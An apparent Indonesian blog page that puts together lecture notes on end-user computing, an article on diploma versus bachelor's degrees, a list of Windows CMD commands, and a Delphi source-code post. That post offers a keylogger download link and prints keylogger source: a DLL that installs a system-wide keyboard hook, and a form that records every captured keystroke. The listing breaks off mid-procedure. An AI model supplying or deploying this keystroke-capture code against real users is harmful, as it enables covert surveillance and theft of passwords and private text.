END USER COMPUTING

A. DEFINISI END-USER COMPUTING

Selama tahun tahun terakhir ini ,banyak pemakai telah mengambil inisiatif untuk mengembangkan aplikasi mereka sendiri dari pada bergantung sepenuhnya pada para specialist informasi. Pendekatan ini dinamakan end-user computing atau EUC. Namun pemakai dapat menggunakan para specialist informasi untuk melaksanakan pekerjaan pengembangan atau untuk menjadi konsultan.

B. LATAR BELAKANG MUNCULNYA EUC

Bila CIO mempunyai pengaruh, sumber-sumber informasi perusahaan juga akan mengalami perubahan. Selama beberapa tahun, trend operasi pelayanan informasi terpusat telah berubah menjadi trend pendistribusian sumber-sumber komputerisasi keseluruh perusahaan, terutama dalam bentuk mikrokomputer.

Sebagian besar dari peralatan yang didistribusikan ini digunakan oleh pemakaian yang tidak mempunyai pemahaman komputer secara khusus. Aplikasi-aplikasi dari pemakai ini terdiri atas software tertulis yang telah dibuat oleh bagian unit pelayanan informasi atau diperoleh dari sumber-sumber luar. Namun demikian, ada juga pemakai yang hanya mengunakan komputer. Mereka ini juga mendisain dan mengimplementasikan aplikasinya sendiri.

Sekarang perusahaan dihadapkan pada tantangan untuk mengolah sumber-sumber informasi yang tersebar tersebut . dalam bagian in, kita akan meneliti gejal-gejalanya dan mencari beberapa cara yang dapat dilakukan oleh perusahaan agar ia dapat mencapai tingkat kontrol yang diharapkan.

C. END – USER COMPUTING sebagai masalah strategis

Para pemakai akhir dapat dikelompokkan menjadi 4 golongan berdasarkan kemampuan komputer .

1. Pemakai Akhir tingkat menu (menu- level end– users)

Yaitu pemakai akhir yang tidak mapu menciptakan perangkat lunak sendiri tetapi dapat berkomunikasi dengan perangkat lunak jadi dengan menggunakan menu yang ditampilkan oleh perangkat lunak berbasis Windows dan Mac

2. Pemakai akhir tingkat perintah (command level end-users)

Pemakai akhir memiliki kemampuan menggunakan perangkat lunak jadi untuk memilih menu dan menggunakan bahasa perintah dari perangkat lunak untuk melaksanakan operasi aritmatika dan logika pada data.

3. Pemakai akhir tingkat programmer (end-user programmer)

Pemakai akhir dapat menggunakan bahasa-bahasa pemrograman seperti BASIC atau   C++ dan mengembangkan program-program sesuai kebutuhan.

4. Personil pendukung fungsional

Yaitu spesialis informasi dalam arti sesungguhnya tetapi mereka berdidikasi pada area pemakai tertentu dan melapor pada manajer fungsional mereka.

D. JENIS – JENIS APLIKASI END – USER COMPUTING

Sebagian besar aplikasi end-user computing dibatasi pada:

• Sistem pendukung keputusan (DSS) yang relatif mudah

• Aplikasi kantor virtual yang memenuhi kebutuhan perseorangan Selebihnya adalah tanggung jawab spesialis informasi untuk bekerja sama dengan pemakai dalam mengembangkan:

• Aplikasi SIM dan SIA

• DSS yang rumit

• Aplikasi kantor virtual yang memenuhi kebutuhan organisasional

• Sistem berbasis pengetahuan

E. MANFAAT END – USER COMPUTING :

• EUC menyeimbangkan kemampuan pengembang dengan tantangan sistem EUC menghilangkan atau mengurangi kesenjangan komunikasi antara pemakai dan spesialis informasi.
• Kreasi, pengendalian, dan implementasi oleh pemakai
• Sistem yang memenuhi kebutuhan pemakai
• Ketepatan waktu
• Membebaskan sumber daya sistem
• Kefleksibilitasan dan kemudahan penggunaan

F. APLIKASI END-USER POTENSIAL

End-user computing hanya terbatas pada aplikasi DSS dan otomatisasi kantor, seperti word processing, pengiriman elektronik, dan pengkalenderan elektronik, yang dapat disesuaikan dengan sekelompok kecil pemakai. Dengan memahami aplikasi yang mana yang mungkin dikembangkan dan yang mungkin tidak bisa dikembangkan oleh end-user , maka hal ini akan menjadi teka-teki bagi arah perkembangan end-user computing. Ia memberikan indikasi mengenai bagaimana end-user dan spesialis informasi akan berdampingan dimasa mendatang.

G. RESIKO END – USER COMPUTING:

Perusahaan dihadapkan pada resiko ketika para pemakai mengembangkan sistem mereka sendiri antara lain adalah :

• Sistem yang buruk sasarannya
• Sistem yang buruk rancangan dan dokumentasinya.
• Penggunaan Sumber daya informasi yang tidak efisien
• Hilangnya Integritas Data
• Hilangnya keamanan
• Hilangnya pengendalian

Resiko di atas dapat berkurang jika jasa informasi yang mengembangkan sistem, karena adanya pengendalian terpusat.

H. JENIS END-USER COMPUTING

Salah satu study pertama mengenai end-user dilakukan pada tahun 1993 oleh John Rockart dari MIT dan Lauren S. Flannery, seorang mahasiswa jurusan MIT. Mereka menginterview 200 end-user ditujuh perusahaan dan menidentifikasi enam jenis, yaitu:

1. End-User Non-Pemrograman. Pemakai (user) ini hanya mempunyai pemahaman komputer yang sedikit atau mungkin tak punya sama sekali, dan ia hanya menggunakan sofware yang telah dibuat oleh orang lain. Ia berkomunikasi dengan hadware dengan bantuan menu dan mengandalkan orang lain untuk memberikan bantuan teknis.

2. User Tingkatan Perintah. Pemakai (user) ini menggunakan sofware tertulis yang telah tersedia, namun ia juga menggunakan 4GL untuk mengakses database dan membuat laporan khusus.

3. Progemmer End-User. Selain menggunakan sofware tertulis dan 4GL, pemakaian ini juga dapat menulis programnya sendiri dan menggunakan bahasa programan. Karena ia mempunyai pemahaman komputer yang lebih baik, ia biasanya menghasilkan informasi untuk pemakian non-programan dan pemakai tingkat perintah. Contoh pemakai jenis ini adalah aktuaris (penaksir), analis keuangan, dan insiyur.

4. Personel Pendukung Fungsional. Pemakai ini ditugaskan di unit fungsional perusahaan dan menangani penggunaan komputer. Ia mempunyai tingkatan sebagai ahli seperti yang ada di unit pelayanan informasi.

5. Personel Pendukung Komputerisasi End-User. Spesialis informasi ini ditugaskan di unit pelayanan informasi, namun membantu end-user dalam pengembangan sistem.

6. Programmer DP. Ia merupakan golongan programer khusus, yang ditugaskan di pelayanan informasi, yang diharapkan memberikan dukungan kepada end-user. Dukungan ini biasanya diberikan untuk menentukan harga kontrak.

I. FAKTOR YANG MENDORONG END-USER COMPUTING

Pada sebagian besar perusahaan, bagian pelayanan informasi terlalu banyak muatan kerja dan disitu terdapat antrean panjang pekerjaan yang menunggu pengimplemenstasiannya.

• Adanya timbunan pelayanan informasi ini merupakan sebab utama mengapa end-user computing menjadi popular, dimana pemakai menjadi tidak sabar dan memutuskan untuk melakukan pekerjaannya sendiri.
• Faktor lain adalah murahnya dan mudahnya penggunaan hardware dan software. Pemakai dapat membeli PC dan beberapa software pengembangan aplikasi dengan hanya seribu dolar atau sekitarnya, seringkali tidak usah melalui channel yang resmi.
• Pemahaman pemakai mengenai komputer dan informasi juga merupakan faktor menjadi populernya end-user computing ini. Sekarang semakin banyak pemakai yang telah mempelajari keterampilan komputer di sekolah dan mereka mempunyaikeyaknan yang kuat terhadap kemampuannya ini. Mereka tidak ragu-ragu lagi untuk mengembangkan dan membuat aplikasinya sendiri.
• Beberapa pemakai terdorong oleh prospek mengenai diperolehnya kemampuan untuk melakukan kontrol yag lebih cermat atas komputerisasi mereka. Pandangan ini diakibatkan oleh ketidakpercayaan mereka terhadap pelayanan informasi. Mungkin ada beberapa kasu-kasus kesalahan dan penembusan keamanan dalam pelayanan informasi.
• Pemakai mungkin juga terdorong untuk mengurangi biaya pemrosesan. Situadi ini terjadi dalam perusahaan yang memindahkan pembiayaan pengembangan dan penggunaan sistemkepada departemen yang memakai sistem tersebut, dan biaya tersebut diangap terlalu tinggi.
• Pengaruh atau dorongan eksekutif juga merupakan faktor. Phillip Ein-Dor dan Eli Segev, profesor pada Tel Aviv Univeristy, mangumpulkan data dari 21 perusahaan d wilayah Los Angeles dan mendapatkan bahwa persentasi end-user manajemen dan non-manajemen akan lebih tinggi jika CEO adalah pemakai.

J. KEUNTUNGAN DARI END-USER COMPUTING

End-user computing memberikan keuntungan baik kepada perusahaan maupun pemakai.

Pertama, perusahaan akan memperoleh keuntungan dengan memindahkan beberapa muatan kerja dari bagian pelayanan informasi kepada end-user. Hal ini memungkinkan bagian pelayaan informasi untuk mengembangkan sistem organisasional yang mungkin lebih menjadi muatan kerja yang menumpuk selama beberapa bulan atau tahun. Ia juga memungkinkannya lebih mempunyai waktu untuk memelihara sistem yang telah berada pada komputer.

Kedua, tidak dikutsertakannya spesialis informasi dalam proses pengembangan bisa mengatasi masalah yang telah menggangu pengimpleentasian sepanjang era computer.

izzulkifly 18.01 3 komentar

Persaingan Dunia Kerja Semakin Berat Pilih Diploma atau Sarjana?

Pilihan akan kuliah pada jenjang sarjana atau diploma terkadang sudah tidak lagi dihasilkan dari pikiran dan rasio objektif, tetapi berdasarkan atas pertimbangan lamanya waktu kuliah yang berkorelasi dengan biaya yang harus dikeluarkan. Hal ini, membuat beberapa mahasiswa berpikir untuk memilih mengambil program diploma daripada sarjana.  Mereka ini memang telah berorientasi bekerja saat memilih program diploma,” ungkap Ungkap Staf Pengajar Akademik Alfabank, Purnomo Rinomo Salimin.
Purnomo menambahkan, secara mental mahasiswa diploma memang dididik untuk langsung siap menghadapi dunia kerja. “Sebenarnya, kalau dibanding dengan program sarjana, program diploma tidak jauh berbeda. Hanya saja dalam program diploma materi lebih dipadatkan dan mahasiswa diberikan bekal kemampuan lebih untuk mengenal dan terjun langsung pada dunia pekerjaan yang diinginkan,” terangnya.
Secara teoritis, lanjut Purnomo, mahasiswa program diploma tidak memiliki kewajiban untuk memahami dan menghafal berbagai teori yang harus dipahami seperti yang dilakukan mahasiswa program sarjana. Mahasiswa diploma akan dituntut untuk sedini mungkin mengenali potensi dirinya yang nantinya akan dijadikan bekal dalam menembus dunia pekerjaan.
“Pada program diploma, mahasiswa akan diberi banyak pengetahuan dan informasi tentang standar kompetensi kerja, hal ini yang tidak akan ditemui mahasiswa yang memilih program sarjana. Jadi, tidak heran kalau mahasiswa program sarjana setelah lulus masih bingung akan bekerja di bidang apa serta tidak mengetahui potensi dalam dirinya. Hal ini dikarenakan mereka tidak dibekali secara mendalam mengenai kemampuan untuk langsung bekerja,” katanya.
Pertimbangan
Sementara itu, mahasiswa Jurusan Pendidikan Bahasa Inggris Fakultas Keguruan dan Ilmu Pendidikan (FKIP) Universitas Slamet Riyadi (Unisri), Dahning Tri, menilai, ketika mahasiswa memilih program sarjana atau diploma tentunya mereka akan melakukan berbagai pertimbangan. Sehingga, apa pun yang dipilih, apakah itu program sarjana atau diploma, tentu berdasarkan pemikiran yang matang dan bukan asal pilih saja.
“Saat ini, realitanya dunia kerja membutuhkan lulusan yang siap bekerja dan memiliki kemampuan. Sehingga, program diploma yang membekali mahasiswa dengan berbagai kompetensi kerja semakin diminati,” katanya.
Ditambahkan, “Selain karena adanya orientasi kuliah untuk bekerja, dengan mengambil program diploma seseorang akan memiliki kemampuan dan keterampilan (skill) lebih. Karena mahasiswa dipersiapkan untuk aktif dan terjun langsung dalam dunia pekerjaan dan antara teori serta praktik dilakukan seimbang, tidak seperti pada program sarjana yang jauh lebih banyak menekankan aspek-aspek teori ketimbang aspek praktik langsung dalam dunia pekerjaan,” tambahnya
Sebenarnya, baik program diploma maupun sarjana masing-masing memiliki kekurangan dan kelebihan. Program diploma memang lebih menonjolkan pada aspek praktek lapangan. Mahasiswa betul-betul dipersiapkan dan diajarkan tentang pengembangan skill dalam hal praktek kerja lapangan. Muatan sistem kredit semesternya pun memiliki bobot yang berbeda dengan mahasiswa program sarjana.
Mahasiswa program diploma memiliki bobot 60 persen praktik di dunia pekerjaan dan hanya sekitar 40 persen saja mempelajari teori. Secara analisis memang mahasiswa diploma tidak memiliki kemampuan lebih dibanding mahasiswa program sarjana yang jauh lebih detail dan lebih menguasai konsep analisis masalah secara teoritis dan normatif namun secara praktik kerja lapangan dan melihat potensi peluang pekerjaan mahasiswa program diploma jauh lebih menguasai dan memahami teknis-teknis yang harus dilakukan ketika diterjunkan langsung di dunia pekerjaan.credit by: (Windy Anggraina)

izzulkifly 17.49 0 komentar

CMD all command

ADDUSERS - Memasukkan/ menambah user ke/dari file CSV.
ARP - Address Resolution Protocol
ASSOC Change - file extension associations
ASSOCIAT - One step file association
AT Schedule - Perintah untuk membuat shedule program (utk dijalankan kemudian waktu)
ATTRIB - Mengganti atribut file
BOOTCFG - Edit boot setting windows
BROWSTAT - Mencari info domain,browser dan PDC
CACLS - Mengganti/mengubah file permissions
CALL - Memanggil sebuah program batch
CD - Memindahkan ke sebuah folder tertentu.
CHANGE - Mengubah Properties pada Terminal Server
CHKDSK - Memeriksa dan memperbaiki file system
CHKNTFS - Memeriksa NTFS file system
CHOICE - Menerima input keyboard ke dalam sebuah batch file
CIPHER - Encrypt-Decrypt files/folders
CleanMgr - Membersihkan secara otomatis Temporary files, recycle bin
CLEARMEM - Membersihkan memory
CLIP - meng-Copy STDIN ke Windows clipboard.
CLS - Membersihkan layar CMD/clear screen
CLUSTER - Windows Clustering
CMD - Membuka layar CMD/ command prompt
COLOR - Mengganti warna pada window CMD
COMP - Membandingkan isi dari 2 atau lebih file
COMPACT - kompres file/folder di dalam partisi NTFS
COMPRESS - kompres file individu di dalam partisi NTFS
CON2PRT - Connect atau disconnect sebuah Printer
CONVERT - Convert FAT drive menjadi NTFS.
COPY - Copy 1 atau lebih file ke lokasi tertentu
CSVDE - Import/Export Active Directory data
DATE - Menampilkan/mengatur tanggal
Dcomcnfg - DCOM Configuration Utility
DEFRAG - Defragment hard drive
DEL - Menghapus 1 atau lebih file
DELPROF - Menghapus User Profile NT
DELTREE - Menghapus sebuah folder beserta subfolder
DevCon - Device Manager Command Line Utility
DIR - Menampilkan daftar file/folder dari sebuah drive
DIRUSE - Menampilkan disk usage/kapasitas disk
DISKCOMP - Membandingkan isi dari 2 buah floppy disk
DISKCOPY - Copy isi dari sebuah floppy disk ke floppy disk lainnya
DNSSTAT - DNS Statistics
DOSKEY - Mengedit command line,recall commands,dan create macros
DSADD - Menambah user (computer, group..) ke dalam active directory
DSQUERY - Menambah item ke dalam active directory
DSMOD - Modify user (computer, group..) di dalam active directory
ECHO - Menampilkan message pada monitor
ERASE - Menghapus satu atau lebih file
EXIT - keluar dari window CMD
EXPAND - Uncompress file
EXTRACT - Uncompress CAB files
FC - Membandingkan 2 buah file
FDISK - Disk Format dan partition
FIND - Mencari sebuah text string di dalam sebuah file
FINDSTR - Mencari strings di dalam files
FOR /F -Loop command: untuk beberapa files sekaligus
FOR - Loop command: all options Files, Directory, List
FORFILES - Batch process multiple files
FORMAT - Memformat sebuah disk
FREEDISK - Menampilkan free disk space (dalam bytes)
FSUTIL - File and Volume utilities
FTP - File Transfer Protocol
FTYPE - Menampilkan/mengubah file types yg digunakan dalam file extension
GLOBAL - Menampilkan daftar anggota dalam global groups
GOTO - Mengarahkan sebuah program batch untuk melompat ke labelled line
HELP - Online Help
HFNETCHK - Network Security Hotfix Checker
IF - Conditionally perform a command (perintah bersyarat)
IPCONFIG - Configure IP
KILL - Menghapus program dari memory
LABEL - Memberi/mengubah label disk
LOCAL - Menampilkan daftar anggota local groups
LOGEVENT - Menulis text ke dalam NT event viewer.
LOGOFF - Keluar dari system / Mengeluarkan user dari system
LOGTIME - mencatat tanggal dan waktu dalam sebuah file
MAPISEND - Mengirim e-mail dari command line
MEM - Menampilkan memory usage
MD - Create new folders
MODE - Configure a system device
MOUNTVOL - Mengatur Mount point dalam sebuah volume
MOVE - Memindahkan file dari sebuah folder ke folder lain
MOVEUSER - Menindahkan user dari sebuah domain ke domain lain
MSG - Mengirim message
MSIEXEC - Microsoft Windows Installer
MSINFO - Windows NT diagnostics
MSTSC - Terminal Server Connection (Remote Desktop Protocol)
MUNGE - Mencari dan Menganti text di dalam sebuah file (find & replace)
MV - Meng-copy file yang sedang/sementara digunakan
NET - Mengatur network resources
NETDOM - Domain Manager
NETSH - Configure network protocols
NETSVC - Command-line Service Controller
NBTSTAT - Menampilkan networking statistics (NetBIOS over TCP/IP)
NETSTAT - Menampilkan networking statistics (TCP/IP)
NOW - Menampilkan current Date and Time
NSLOOKUP - Name server lookup
NTBACKUP - Backup folders
NTRIGHTS - Edit user account rights (wilayah akses yg diizinkan oleh admin)
PATH - Menampilkan atau mengatur search path untuk executable files
PATHPING - Melacak route plus network latency dan packet loss
PAUSE - Menahan proses sebuah batch file and menampilkan message
PERMS - Menampilkan permissions (wilayah akses) user
PERFMON - Performance Monitor
PING - Menguji (test) network connection
POPD - Restore previous value dari sebuah directory yang di-save oleh PUSHD
PORTQRY - Menampilkan status ports dan service
PRINT - Print text file
PRNCNFG - Menampilkan, mengatur, atau mengubah nama printer
PRNMNGR - Menampilkan, menghapus, atau menambah daftar printer; set default printer
PROMPT - Mengubah command prompt
PsExec - Menjalankan proses jarak jauh (remote)
PsFile - Menunjukkan file2 yang dibuka dari jarak jauh
PsGetSid - Menampilkan SID sebuah computer atau user
PsInfo - Menampilkan informasi dari sebuah system
PsKill - Menghentikan proses melalui process ID
PsList - Menampilkan detail informasi dari sebuah proses
PsLoggedOn - Who's logged on (mengecek secara lokal atau melalui resource sharing)
PsLogList - Event log records
PsPasswd - Mengubah account password
PsService - Menampilkan dan mengubah services
PsShutdown - Shutdown atau reboot computer
PsSuspend - Suspend/menahan proces
PUSHD - Menyimpan/Save dan mengganti current directory
QGREP - Mencari kata/kalimat di dalam file yg sesuai dgn pola/line yg ditentukan.
RASDIAL - Mengatur RAS connections
RASPHONE - Mengatur RAS connections
RECOVER - Memulihkan/Recover damaged file dari sebuah disk defective (rusak).
REG - Membaca, mengatur, atau menghapus registry keys dan values
REGEDIT - Mengimport/mengeksport registry settings
REGSVR32 - Register/unregister file DLL atau ocx
REGINI - Mengubah Registry Permissions
REM - Merekam/mencatat comments (remarks) di dalam sebuah batch file
REN - mengubah nama file
REPLACE - Mengganti/Replace atau meng-update sebuah file dengan file line
RD - Delete folder
RDISK - Create Recovery Disk
RMTSHARE - Share folder atau printer
ROUTE - Memanipulasi network routing tables
RUNAS - Menjalankan sebuah program dgn menggunakan user account lain.
RUNDLL32 - Menjalankan sebuah DLL command (add/remove print connections)
SC - Service Control
SCHTASKS - Create or Edit Scheduled Tasks
SCLIST - Display NT Services
ScriptIt - Control GUI applications
SET - Display, set, atau remove environment variables
SETX - Set environment variables secara permanent
SHARE - Mendaftar atau edit sebuah file share atau print share
SHORTCUT - Create windows shortcut (.LNK file)
SHOWGRPS - Menampilkan daftar NT Workgroups atau user yang telah joined
SHOWMBRS - Menampilkan daftar Users yg merupakan member dari sebuah Workgroup
SHUTDOWN - Shutdown computer
SLEEP - Menunggu selama beberapa saat
SOON - Menjadwal(schedule) sebuah command untuk beberapa waktu kemudian
SORT - Sort input
START - membuka sebuah window baru, untuk menjalankan program atau command tertentu
SU - Switch User
SUBINACL - Edit file & folder Permissions, Ownership serta Domain
SUBST - Menyesuaikan sebuah path dengan drive letter
SYSTEMINFO - Menampilkan daftar system configuration
TASKLIST - Menampilkan daftar aplikasi dan service yang sedang berjalan
TIME - Menampilkan atau mengubah waktu pada system
TIMEOUT - Delay processing sebuah batch file
TITLE - Menentukan judul window untuk sebuah session CMD.EXE
TOUCH - mengubah timestamps sebuah file
TRACERT - Melacak route ke sebuah remote host
TREE - Tampilan grafis dari struktur folder
TYPE - Menampilkan isi dari sebuah text file
USRSTAT - Menampilkan daftar domain usernames dan last login
VER - Menampilkan version information
VERIFY - Memeriksa apakah files telah ter-save
VOL - Menampilkan disk label
WHERE - Mencari dan menampilkan files di dalam sebuah directory tree
WHOAMI - Menampilkan current UserName dan current domain
WINDIFF - Membandingkan isi dari dua atau lebih file.
WINMSD - Windows system diagnostics
WINMSDP - Windows system diagnostics II
WMIC - WMI Commands
XCACLS - Mengubah file permissions (hak akses)
XCOPY - Copy files dan folders

credit by :xzoro snutz

izzulkifly 23.07 1 komentar

Kumpulan Source Code Delphi/ Pascal

Aplikasi Parkir Kendaraan

Aplikasi Parkir Kendaraan Siap Pakai ..Dibuat Dengan Delphi 7
Beserta Lengkap Dengan Report(Cetak Laporan) Aplikasi ini 2 Database ,yaitu input kendaraan masuk ,dan Input kendaraan keluar
Sebelum anda menjalankan aplikasi ini .,anda harus mendownload terlebih dahulu crystal report 8.0(Silahkan anda searching Aplikasinya Di Google) ,Karena Crystal Report Merupakan Komponen Pendukung Untuk Aplikasi Ini.
Aplikasi Parkir Kendaraan Disertakan Bersama Source Codenya Juga
download Now Aplikasi Parkir Kendaraan.

Keylogger dengan delphi

 http://www.ziddu.com/download/9991079/DelphiKeyLogger.zip.html

Aplikasi Perpustakaan Dengan Delphi 7

Aplikasi Perpustakaan Siap Pakai , Disertai dengan report dan databasenya Msacces , Berikut Source Code.
Sebelum anda menjalankan perogram aplikasi perpustakaan ini anda harus mendownload terlebih dahulu crystal report 8.0 (silahkan anda searching di google aplikasinya)
Silahkan Dikembangkan Lebih Lanjut

download Now Aplikasi Perpustakaan

 

ini adalah source code keylogger dengan bahasa Delphi/pascal

GlobalHook.dpr

program GlobalHook;

uses
  Forms,
  ufGlobHook in 'ufGlobHook.pas' {frmHook};
{$R *.RES}
begin
  Application.Initialize;
  Application.Title := 'Keyboard Hook';
  Application.CreateForm(TfrmHook, frmHook);
  Application.Run;
end.

HkLib.dpr

library HkLib;
{//This library contains functions to help implement
system keyboard hook.
//}
usesWindows;
{$R *.RES}
//-----------Data Structure to be shared------------//
type THookData=record
       Handle,Msg,
       hHook,Instances:Cardinal;
     end;
     PHookData=^THookData;
const
//--------Constants (2 stupid strings)---------------------//
   MutexName='KTKeyboardHookLibraryVersion1.00UniqueMutexName';
   MemShareName='KTKHLV100MEMFILE';
//------------------Variables-------------------------//
var
   MyMutex, //Synchronization Mutex Handle
   MemShare:Cardinal;  //Memory-Mapped File handle
   MyData:PHookData;   //Library-Shared Data
//-----------------Keyboard Hook Callback---------------//
function KbdHook(hCode,wParam:LongInt;lParam:LongInt):Longint;stdcall;
begin
     try
       WaitForSingleObject(MyMutex,INFINITE); //Synchronize
       if (MyData^.Msg<>0) and (hCode=HC_ACTION) then PostMessage(MyData^.Handle,MyData^.Msg,wParam,lParam);
       if MyData^.hHook <> 0 then Result:=CallNextHookEx(MyData^.hHook,hCode,wParam,lParam)
          else Result:=0;
     finally ReleaseMutex(MyMutex);
     end;
end;
//-------------Function to set hook----------------//
function HookKeyboard(Hwnd,MsgID:Cardinal):LongInt;stdcall;
begin
     try
     WaitForSingleObject(MyMutex,INFINITE); //Synchronize
     if MyData^.hHook<>0 then begin
        Result:=0;ReleaseMutex(MyMutex);Exit;
     end;
     Result:=SetWindowsHookEx(WH_KEYBOARD,@KbdHook,HInstance,0);
     if Result<>0 then begin
        MyData^.hHook:=Result;
        MyData^.Msg:=MsgID;
        MyData^.Handle:=Hwnd;
     end;
     finally ReleaseMutex(MyMutex);
     end;
end;
//------------------Function to remove Hook----------------//
function UnhookKeyboard:Boolean;stdcall;
begin
     try
      WaitForSingleObject(MyMutex,INFINITE);
      Result:=True;
      if MyData^.hHook=0 then begin
         ReleaseMutex(MyMutex);Exit;
      end;
      Result:=UnhookWindowsHookEx(MyData^.hHook);
      if Result=True then begin
         MyData^.hHook:=0; MyData^.Msg:=0; MyData^.Handle:=0;
      end;
     finally ReleaseMutex(MyMutex);
     end;
end;
//-----------Function to determine, whether we are already hooked-----------//
function Hooked:Boolean;stdcall;
begin
     WaitForSingleObject(MyMutex,INFINITE);
     Result:=(MyData^.hHook<>0);
     ReleaseMutex(MyMutex);
end;
//=========================DLL Mechanics======================//
//--------------Initialization Code--------------//
procedure EnterDLL;stdcall;
var FirstInstance:Boolean;
begin
//Get a Mutex for synchronization
     MyMutex:=CreateMutex(nil,True,MutexName);
//Open Memory Share
     MemShare:=OpenFileMapping(FILE_MAP_ALL_ACCESS,False,PChar(MemShareName));
     FirstInstance:=(MemShare=0);
//If cannot open, then create
     if MemShare=0 then MemShare:=CreateFileMapping($FFFFFFFF,nil,PAGE_READWRITE,0,SizeOf(THookData),MemShareName);
     if MemShare<>0 then begin
        //we are opened for the first time...
        MyData:=MapViewOfFile(MemShare,FILE_MAP_ALL_ACCESS,0,0,0);
        if Firstinstance then with MyData^ do begin
           Handle:=0;Msg:=0;hHook:=0;Instances:=0;
        end;
        MyData^.Instances:=MyData^.Instances+1;
     end;
     ReleaseMutex(MyMutex);
end;
//--------------DeInitialization Code---------------//
procedure ExitDLL;stdcall;
begin
    try
//Synchronize
      WaitForSingleObject(MyMutex,INFINITE);
      MyData^.Instances:=MyData^.Instances-1;
      if (MyData^.Instances=0) then begin
//Close shared memory file and synchronization mutex
         UnmapViewOfFile(MyData);
         CloseHandle(MemShare);
         CloseHandle(MyMutex);
       end;
     finally ReleaseMutex(MyMutex);
     end;
end;
//-----------------DllEntryPoint----------//
procedure LibraryProc(Reason: Integer);
begin
case Reason of
   DLL_PROCESS_DETACH:ExitDll;
   DLL_PROCESS_ATTACH:EnterDll;
end;
end;
//-----------------Exports...-----------------//
exports HookKeyboard,UnhookKeyboard,Hooked;
//--------------------------------------------------------//
begin
EnterDLL;
DllProc:=@LibraryProc;
end.

ufGlobHook.dfm

object frmHook: TfrmHook
  Left = 241
  Top = 107
  BorderIcons = [biSystemMenu, biMinimize]
  BorderStyle = bsDialog
  Caption = 'Keyboard Hook'
  ClientHeight = 283
  ClientWidth = 362
  Color = clBtnFace
  Font.Charset = DEFAULT_CHARSET
  Font.Color = clWindowText
  Font.Height = -11
  Font.Name = 'MS Sans Serif'
  Font.Style = []
  Icon.Data = {
    0000010002002020100000000000E80200002600000010101000000000002801
    00000E0300002800000020000000400000000100040000000000800200000000
    0000000000000000000000000000000000000000800000800000008080008000
    0000800080008080000080808000C0C0C0000000FF0000FF000000FFFF00FF00
    0000FF00FF00FFFF0000FFFFFF00000000000000000000000000000000000000
    0000000000000888888888800000000000000000000000888888880700000000
    0000000000000088888888077000000000000000000000088888807777000000
    0000000000000000000000777700000000000000000000008880080770000000
    0000000000000000080F0080700000000000F0F00000000000F0F00000000000
    0000F0F00000000000F00F000000000000000FF0000000000FFF000000000000
    0000FFF000000000FFF0F000000000000000FFF000000000FFF0000000000000
    0000FFF00000000FFF0F000F00000000000FFFF00000000FFF0000F000000000
    000FFFF0000000FFFFF00F0000000000000FFFFF00000FFFF00FF00000000000
    000FFFFFF000FFFF0F0F00000000000000FFFFFFFFFFFFFF00F0000000000000
    00FFFFFFFFFFFFF0F00000000000000000FFFFFFFFFFFF0F0000000000000000
    0FFFFFFFFFFFFFF000000000000000000FFFFFFFFFFFFF000000000000000000
    0FFFFFFFFFFFF00000000000000000190FFFFFFFFFFF00000000000000000190
    FFFFFFFFFFF000000000000000000910FFFFFFFFFF0000000000000000000191
    00FFFFFFF0000000000000000000091919000000090000000000000000000091
    9191919190000000000000000000000019191910000000000000000000000000
    0000000000000000000000000000FFFF001FFFFF000FFFFF8007FFFF8003FFFF
    C001FFFFC001FFFFE003FF1FF003FE0FF807FE0FF81FFE0FF03FFE0FE03FFE0F
    E067FE0FC047FC0FC08FFC0F801FFC07003FFC00007FF80000FFF80001FFF800
    07FFF0000FFFF0001FFFC0003FFF80007FFF0000FFFF0001FFFF0001FFFF0001
    FFFF8003FFFFC007FFFFF01FFFFF280000001000000020000000010004000000
    0000C00000000000000000000000000000000000000000000000000080000080
    00000080800080000000800080008080000080808000C0C0C0000000FF0000FF
    000000FFFF00FF000000FF00FF00FFFF0000FFFFFF0000000000000000000000
    000008888000000000000088077000000000000000000000F000000880000000
    F000000000000000F00000F00F000000F0000FF7F0000000FF00FF7F0000000F
    FFFFF7F00000000FFFFFFF000000000FFFFFF00000000000FFFF000000000990
    00000000000001199900000000000000000000000000FF030000FF010000FF80
    0000F3810000E3C10000E3830000E3890000E3030000E0070000C00F0000C01F
    0000803F0000007F000000FF000000FF000081FF0000}
  OldCreateOrder = False
  PixelsPerInch = 96
  TextHeight = 13
  object txtStatus: TMemo
    Left = 0
    Top = 48
    Width = 361
    Height = 233
    ReadOnly = True
    TabOrder = 0
  end
  object Button1: TButton
    Left = 8
    Top = 8
    Width = 169
    Height = 33
    Caption = 'Set Hook'
    TabOrder = 1
    OnClick = Button1Click
  end
  object Button2: TButton
    Left = 192
    Top = 8
    Width = 161
    Height = 33
    Caption = 'UnHook'
    TabOrder = 2
    OnClick = Button2Click
  end
end 

ufGlobHook.pas

unit ufGlobHook;
interface

uses
  Windows, Messages, SysUtils, Forms, StdCtrls, Classes, Controls;
const
     LibInst:HInst=0;
     hHk:HHOOK=0;
     MSG_KBD=WM_APP+12321;
type
  TfrmHook = class(TForm)
    txtStatus: TMemo;
    Button1: TButton;
    Button2: TButton;
    procedure Button2Click(Sender: TObject);
    procedure Button1Click(Sender: TObject);
    procedure KbdMsg(var Msg:TMessage);message MSG_KBD;
  private
    { Private declarations }
  public
    { Public declarations }
  end;
function HookKeyboard(Hwnd,MsgID:Cardinal):LongInt;stdcall;external 'HkLib.dll' name 'HookKeyboard';
function UnhookKeyboard:Boolean;stdcall;external 'HkLib.dll' name 'UnhookKeyboard';
function Hooked:Boolean;stdcall;external 'HkLib.dll' name 'Hooked';
var
  frmHook: TfrmHook;
const
  CtlChars:set of Byte=[1..12,14..31];
implementation{$R *.DFM}
procedure TfrmHook.KbdMsg(var Msg:TMessage);
var KN:PChar;tmpRes:Integer; KS:TKeyBoardState; ch:String;
lp,wp:LongInt;
label Bye;
begin
     lp:=Msg.lParam;wp:=Msg.wParam;
     if ((lp and $80000000)=0) then begin
        KN:=StrAlloc(2);
        if GetKeyboardState(KS)=False then goto Bye;
        tmpRes:=ToAscii(wp,lp,KS,KN,0);
        if (tmpRes=1) and not(Ord(String(KN)[1])in CtlChars) then begin
           ch:=String(KN)[1];
           if ord(ch[1])=13 then ch:=ch+#10;
           frmHook.txtStatus.Text:=frmHook.txtStatus.Text+ch;
        end else begin
           KN:=StrAlloc(10);
           if GetKeyNameText(lp,KN,10)<> 0 then begin
              frmHook.txtStatus.Text:=frmHook.txtStatus.Text+'{'+String(KN)+'}';
           end;
       end;
     end;
Bye:
end;
procedure TfrmHook.Button2Click(Sender: TObject);
begin
     if hHk=0 then Exit;
     if UnhookKeyboard=False then
